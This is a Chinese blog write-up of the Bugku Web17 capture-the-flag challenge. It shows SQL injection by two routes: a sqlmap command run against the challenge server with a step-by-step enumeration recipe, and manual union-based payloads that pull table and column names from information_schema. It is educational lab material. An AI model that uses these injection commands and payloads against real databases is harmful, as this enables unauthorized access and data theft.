Bugku-Web17

KAKSKY / 2023-08-29 / 原文

这是sql的注入题

我自己的sql注入学的还不是很到位,这个题目有很学习的意味:;;

images
第一个是通过sqlmap的注入的方式:

python3 .\sqlmap.py -u "http://114.67.246.176:18696/index.php" --method POST --data "id=1" -D skctf -T fl4g -C skctf_flag --dump

images
python sqlmap.py -u url --method POST --data "id=1" 是post提交参数的sqlmap格式

① 用 --dbs 获取数据库
② 用 -D 数据库名 --tables 爆出表名
③ 用 -D 数据库名 -T 表名 --columns 爆出字段名
④ 用 -D 数据库名 -T 表名 -C 字段名 --dump 爆出数据

第二个是通过手工注入的方式:
感觉博主讲的挺好的,所以想就摘抄下来了,

知识补充:union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息 

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表  

SCHEMATA 存储数据库名的, 

关键字段:SCHEMA_NAME,表示数据库名称 

TABLES 存储表名的 

关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示表的名称 

COLUMNS 存储字段名的 

关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示所属的表的名称 

COLUMN_NAME表示字段名 

 

爆所有数据名 

select group_concat(SCHEMA_NAME) from information_schema.schemata 

得到当前库的所有表 

select group_concat(table_name) from information_schema.tables where table_schema=database() 

得到表中的字段名(列名) 将敏感的表进行16进制编码adminuser=0x61646D696E75736572

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 

得到字段(列)具体的值     select group_concat(username,0x3a,password) from adminuser

group_concat()函数是将数据作为字符串输出,中间以:间隔开(因为0x3a是:的16进制ascii码)

操作过程中需要注意:

table_name

select group_concat(table_name) from information_schema.tables where table_schema=database()

column_name

select group_concat(column_name) from information_schema.columns where table_name='fl4g'

images
images
images

images
images
images

images
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#

images
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),user(),version()#

images
images